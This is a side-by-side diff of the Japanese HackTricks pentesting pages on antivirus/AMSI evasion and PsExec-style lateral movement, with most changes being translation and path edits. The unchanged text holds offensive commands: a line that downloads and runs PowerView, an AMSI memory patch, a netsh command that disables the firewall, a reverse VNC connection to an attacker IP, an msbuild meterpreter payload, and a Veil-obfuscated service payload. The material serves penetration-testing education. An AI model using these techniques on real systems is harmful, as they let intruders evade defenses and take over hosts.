これは、スクリプトの内容を暗号化されておらず難読化されていない形式で公開することにより、アンチウイルスソリューションがスクリプトの動作を検査できるようにします。 これにより、アンチウイルスソリューションは、スクリプトの内容を暗号化されておらず難読化されていない形式で公開することによって、スクリプトの動作を検査できます。
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')`を実行すると、Windows Defenderで次のアラートが表示されます。 `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')`を実行すると、Windows Defenderで次のアラートが表示されます。
@ -186,13 +186,13 @@ AMSIを回避する方法はいくつかあります
* **難読化** * **難読化**
AMSIは主に静的検出で機能するため、読み込もうとするスクリプトを変更することは、検出を回避する良い方法となる可能性があります。 AMSIは主に静的検出で機能するため、読み込もうとするスクリプトを修正することは、検出を回避する良い方法となる可能性があります。
ただし、AMSIは複数の層があってもスクリプトを難読化解除する能力があるため、難読化の方法によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。 ただし、AMSIは複数の層があってもスクリプトを難読化解除する能力があるため、難読化の方法によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。
* **AMSIバイパス** * **AMSIバイパス**
AMSIはpowershellまたはcscript.exe、wscript.exeなどプロセスにDLLをロードすることによって実装されているため、特権のないユーザーとして実行しても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。 AMSIはpowershellまたはcscript.exe、wscript.exeなどプロセスにDLLをロードすることによって実装されているため、特権のないユーザーとして実行しても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。
**エラーを強制する** **エラーを強制する**
@ -224,7 +224,7 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
**メモリパッチ** **メモリパッチ**
この技術は最初に [@RastaMouse](https://twitter.com/\_RastaMouse/) によって発見され、amsi.dll内の「AmsiScanBuffer」関数のアドレスを見つけ、E\_INVALIDARGのコードを返す命令で上書きすることを含みます。これにより、実際のスキャンの結果は0を返し、これはクリーンな結果として解釈されます。 この技術は最初に [@RastaMouse](https://twitter.com/\_RastaMouse/) によって発見され、amsi.dll内の「AmsiScanBuffer」関数のアドレスを見つけ、それをE\_INVALIDARGのコードを返す命令で上書きすることを含みます。これにより、実際のスキャンの結果は0を返し、これはクリーンな結果として解釈されます。
{% hint style="info" %} {% hint style="info" %}
より詳細な説明については、[https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)をお読みください。 より詳細な説明については、[https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)をお読みください。
@ -232,14 +232,14 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
また、PowerShellを使用してAMSIをバイパスするための他の多くの技術もあります。詳細については、[**このページ**](basic-powershell-for-pentesters/#amsi-bypass)や[このリポジトリ](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)をチェックしてください。 また、PowerShellを使用してAMSIをバイパスするための他の多くの技術もあります。詳細については、[**このページ**](basic-powershell-for-pentesters/#amsi-bypass)や[このリポジトリ](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)をチェックしてください。
また、このスクリプトはメモリパッチを介して新しいPowershをパッチします。 また、このスクリプトはメモリパッチを介して新しいPowershをパッチします。
## 難読化 ## 難読化
C#のクリアテキストコードを**難読化**したり、バイナリをコンパイルするための**メタプログラミングテンプレート**を生成したり、**コンパイルされたバイナリを難読化**するために使用できるツールはいくつかあります: C#のクリアテキストコードを**難読化**したり、バイナリをコンパイルするための**メタプログラミングテンプレート**を生成したり、**コンパイルされたバイナリを難読化**するために使用できるツールはいくつかあります:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 難読化ツール** * [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 難読化ツール**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/)コンパイルスイートのオープンソースフォークを提供し、[コード難読化](http://en.wikipedia.org/wiki/Obfuscation\_\(software\))と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。 * [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/)コンパイルスイートのオープンソースフォークを提供し、[コード難読化](http://en.wikipedia.org/wiki/Obfuscation\_\(software\))と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscatorは、`C++11/14`言語を使用して、外部ツールを使用せず、コンパイラを変更することなく、コンパイル時に難読化されたコードを生成する方法を示しています。 * [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscatorは、`C++11/14`言語を使用して、外部ツールを使用せず、コンパイラを変更することなく、コンパイル時に難読化されたコードを生成する方法を示しています。
* [**obfy**](https://github.com/fritzone/obfy): C++テンプレートメタプログラミングフレームワークによって生成された難読化された操作のレイヤーを追加し、アプリケーションをクラッキングしようとする人の生活を少し難しくします。 * [**obfy**](https://github.com/fritzone/obfy): C++テンプレートメタプログラミングフレームワークによって生成された難読化された操作のレイヤーを追加し、アプリケーションをクラッキングしようとする人の生活を少し難しくします。
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatrazは、.exe、.dll、.sysなどのさまざまなpeファイルを難読化できるx64バイナリ難読化ツールです。 * [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatrazは、.exe、.dll、.sysなどのさまざまなpeファイルを難読化できるx64バイナリ難読化ツールです。
@ -256,7 +256,7 @@ Microsoft Defender SmartScreenは、エンドユーザーが潜在的に悪意
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreenは主に評判ベースのアプローチで機能し、あまりダウンロードされないアプリケーションはSmartScreenをトリガーし、エンドユーザーがファイルを実行するのを警告し防ます(ただし、ファイルは「詳細情報」->「それでも実行」をクリックすることで実行できます)。 SmartScreenは主に評判ベースのアプローチで機能し、一般的でないダウンロードアプリケーションはSmartScreenをトリガーし、エンドユーザーがファイルを実行するのを警告し防止します(ただし、ファイルは「詳細情報」->「それでも実行」をクリックすることで実行できます)。
**MoTW**Mark of The Webは、[NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\))で、Zone.Identifierという名前が付けられ、インターネットからファイルをダウンロードすると自動的に作成され、ダウンロード元のURLと共に保存されます。 **MoTW**Mark of The Webは、[NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\))で、Zone.Identifierという名前が付けられ、インターネットからファイルをダウンロードすると自動的に作成され、ダウンロード元のURLと共に保存されます。
@ -266,7 +266,7 @@ SmartScreenは主に評判ベースのアプローチで機能し、あまりダ
信頼された署名証明書で署名された実行可能ファイルは**SmartScreenをトリガーしない**ことに注意することが重要です。 信頼された署名証明書で署名された実行可能ファイルは**SmartScreenをトリガーしない**ことに注意することが重要です。
{% endhint %} {% endhint %}
ペイロードがMark of The Webを受け取らないようにする非常に効果的な方法は、それらをISOのようなコンテナにパッケージ化することです。これは、Mark-of-the-Web (MOTW) **が** **非NTFS**ボリュームに適用できないためです。 ペイロードがMark of The Webを受け取らないようにする非常に効果的な方法は、それらをISOのようなコンテナにパッケージ化することです。これは、Mark-of-the-Web (MOTW) **は** **非NTFS**ボリュームには適用できないためです。
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
@ -306,9 +306,9 @@ C# バイナリをメモリにロードすることはかなり前から知ら
ほとんどのC2フレームワークsliver、Covenant、metasploit、CobaltStrike、Havocなどは、すでにC#アセンブリをメモリ内で直接実行する機能を提供していますが、異なる方法があります: ほとんどのC2フレームワークsliver、Covenant、metasploit、CobaltStrike、Havocなどは、すでにC#アセンブリをメモリ内で直接実行する機能を提供していますが、異なる方法があります:
* **フォーク&ラン** * **Fork\&Run**
これは**新しい犠牲プロセスを生成し**、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォーク&ランメソッドの利点は、実行が**私たちのビーコンインプラントプロセスの外部**で行われることです。これは、ポストエクスプロイトアクションの何かがうまくいかない場合や捕まった場合、**インプラントが生き残る可能性がはるかに高くなる**ことを意味します。欠点は、**行動検出**によって捕まる可能性が**高くなる**ことです。 これは**新しい犠牲プロセスを生成し**、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォークと実行の方法の利点は、実行が私たちのビーコンインプラントプロセスの**外部**で行われることです。これは、ポストエクスプロイトアクションの何かがうまくいかない場合や捕まった場合、**インプラントが生き残る可能性がはるかに高**ことを意味します。欠点は、**行動検出**によって捕まる可能性が**高くなる**ことです。
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
@ -319,10 +319,10 @@ C# バイナリをメモリにロードすることはかなり前から知ら
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %} {% hint style="info" %}
C# アセンブリのロードについてもっと読みたい場合は、この記事 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) とそのInlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) をチェックしてください。 C# アセンブリのロードについてもっと知りたい場合は、この記事 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) とそのInlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) をチェックしてください。
{% endhint %} {% endhint %}
C# アセンブリを**PowerShellからロードする**こともできます。 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) と [S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk) をチェックしてください。 C# アセンブリを**PowerShellから**ロードすることもできます。 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) と [S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk) をチェックしてください。
## 他のプログラミング言語の使用 ## 他のプログラミング言語の使用
@ -334,15 +334,15 @@ C# アセンブリを**PowerShellからロードする**こともできます。
## 高度な回避 ## 高度な回避
回避は非常に複雑なトピックであり、時には1つのシステム内の多くの異なるテレメトリソースを考慮に入れる必要があるため、成熟した環境では完全に検出されないことはほぼ不可能です。 回避は非常に複雑なトピックであり、時には1つのシステム内の多くの異なるテレメトリソースを考慮る必要があるため、成熟した環境では完全に検出されないことはほぼ不可能です。
対抗する環境はそれぞれ独自の強みと弱みを持っています。 対抗する環境はそれぞれ独自の強みと弱みを持っています。
[@ATTL4S](https://twitter.com/DaniLJ94) のこのトークをぜひご覧いただき、高度な回避技術についての足がかりを得てください [@ATTL4S](https://twitter.com/DaniLJ94) のこのトークをぜひご覧ください。より高度な回避技術についての足がかりを得ることができます
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %} {% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
[@mariuszbit](https://twitter.com/mariuszbit) による深い回避に関するもう1つの素晴らしいトークです。 [@mariuszbit](https://twitter.com/mariuszbit) による深い回避についての別の素晴らしいトークもあります。
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %} {% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
@ -350,7 +350,7 @@ C# アセンブリを**PowerShellからロードする**こともできます。
### **Defenderが悪意のあるものとして見つける部分を確認する** ### **Defenderが悪意のあるものとして見つける部分を確認する**
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) を使用すると、**バイナリの一部を削除**して、**Defenderが悪意のあるものとして見つける部分を特定し**、それを分割してくれます。\ [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) を使用すると、**バイナリの一部を削除**して、**Defenderが悪意のあるものとして見つけている部分を特定し**、それを分割してくれます。\
同じことを行う別のツールは、[**avred**](https://github.com/dobin/avred) で、オープンウェブでサービスを提供しています [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) 同じことを行う別のツールは、[**avred**](https://github.com/dobin/avred) で、オープンウェブでサービスを提供しています [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnetサーバー** ### **Telnetサーバー**
@ -382,7 +382,7 @@ netsh advfirewall set allprofiles state off
#### **リバース接続** #### **リバース接続**
**攻撃者**は、自身の**ホスト**内でバイナリ `vncviewer.exe -listen 5900` を実行し、リバース **VNC接続**をキャッチする準備をします。その後、**被害者**内で: winvncデーモン `winvnc.exe -run` を開始し、`winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` を実行します。 **攻撃者**は **ホスト内で** バイナリ `vncviewer.exe -listen 5900` を実行し、リバース **VNC接続**をキャッチする準備をします。次に、**被害者**内で: winvncデーモン `winvnc.exe -run` を開始し、`winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` を実行します。
**警告:** ステルスを維持するために、いくつかのことを行ってはいけません **警告:** ステルスを維持するために、いくつかのことを行ってはいけません
@ -410,7 +410,7 @@ sel lport 4444
generate #payload is the default name generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole #This will generate a meterpreter xml and a rcc file for msfconsole
``` ```
今、**リスターを開始**します `msfconsole -r file.rc` と **xmlペイロードを実行**します: 今、**リスターを開始**するには `msfconsole -r file.rc` を使用し、**xmlペイロードを実行**するには:
``` ```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
``` ```
@ -531,7 +531,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
``` ```
* [https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp) * [https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp)
* [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/) * [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/)
* [https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans_To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans_To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf) * [https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf)
* [https://github.com/l0ss/Grouper2](ps://github.com/l0ss/Group) * [https://github.com/l0ss/Grouper2](ps://github.com/l0ss/Group)
* [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html) * [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
* [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/) * [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
@ -569,15 +569,15 @@ https://github.com/praetorian-code/vulcan
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion) * [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
もしあなたが**ハッキングキャリア**に興味があり、アンハッカブルをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 もしあなたが**ハッキングキャリア**に興味があり、アンハッカブルをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -1,8 +1,8 @@
# PsExec/Winexec/ScExec # PsExec/Winexec/ScExec
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -15,26 +15,24 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
## どのように機能するか ## どのように機能するか
プロセスは以下のステップで概説されており、サービスバイナリがどのように操作され、SMBを介してターゲットマシンでリモート実行を達成するかを示しています: プロセスは以下のステップで概説されており、サービスバイナリがどのように操作されてターゲットマシンでリモート実行を達成するかを示しています:
1. **ADMIN$共有にサービスバイナリをSMB経由でコピー**します。 1. **ADMIN$共有にサービスバイナリをSMB経由でコピー**します。
2. **リモートマシン上にサービスを作成**し、バイナリを指します。 2. **リモートマシン上にサービスを作成**し、バイナリを指し示します。
3. サービスが**リモートで開始**されます。 3. サービスが**リモートで開始**されます。
4. 終了時に、サービスは**停止され、バイナリは削除**されます。 4. 終了時に、サービスは**停止され、バイナリは削除**されます。
### **PsExecを手動で実行するプロセス** ### **PsExecを手動で実行するプロセス**
msfvenomで作成され、ウイルス対策検出を回避するためにVeilを使用して難読化された実行可能ペイロード「met8888.exe」があると仮定します。これはmeterpreter reverse_httpペイロードを表します。以下のステップが取られます: msfvenomで作成され、ウイルス対策ソフトウェアの検出を回避するためにVeilを使用して難読化された実行可能ペイロード「met8888.exe」を仮定すると、次のステップが取られます:
* **バイナリのコピー**実行可能ファイルはコマンドプロンプトからADMIN$共有にコピーされますが、ファイルシステムのどこにでも配置して隠すことができます。 * **バイナリのコピー**実行可能ファイルはコマンドプロンプトからADMIN$共有にコピーされますが、ファイルシステムのどこにでも配置して隠すことができます。
* **サービスの作成**Windowsの`sc`コマンドを使用して、リモートでWindowsサービスを照会、作成、削除することができ、「meterpreter」という名前のサービスがアップロードされたバイナリを指すように作成されます。 * **サービスの作成**Windowsの`sc`コマンドを使用して、リモートでWindowsサービスを照会、作成、削除することができ、「meterpreter」という名前のサービスがアップロードされたバイナリを指すように作成されます。
* **サービスの開始**:最終ステップはサービスを開始することで、バイナリが本物のサービスバイナリでないため、期待される応答コードを返さず「タイムアウト」エラーが発生する可能性があります。このエラーは、主な目的がバイナリの実行であるため、重要ではありません。 * **サービスの開始**:最終ステップはサービスを開始することで、バイナリが本物のサービスバイナリでないため、期待される応答コードを返さず「タイムアウト」エラーが発生する可能性があります。このエラーは、バイナリの実行が主な目的であるため、重要ではありません。
Metasploitリスナーを観察すると、セッションが正常に開始されたことがわかります。 Metasploitリスナーを観察すると、セッションが正常に開始されたことがわかります。
@ -42,11 +40,11 @@ Metasploitリスナーを観察すると、セッションが正常に開始さ
詳細な手順については、[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)を参照してください。 詳細な手順については、[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)を参照してください。
**Windows SysinternalsバイナリPsExec.exeを使用することもできます:** **Windows SysinternalsバイナリPsExec.exeも使用できます:**
![](<../../.gitbook/assets/image (928).png>) ![](<../../.gitbook/assets/image (928).png>)
[**SharpLateral**](https://github.com/mertdas/SharpLateral)を使用することもできます: [**SharpLateral**](https://github.com/mertdas/SharpLateral)も使用できます:
{% code overflow="wrap" %} {% code overflow="wrap" %}
``` ```
@ -54,13 +52,11 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
``` ```
{% endcode %} {% endcode %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>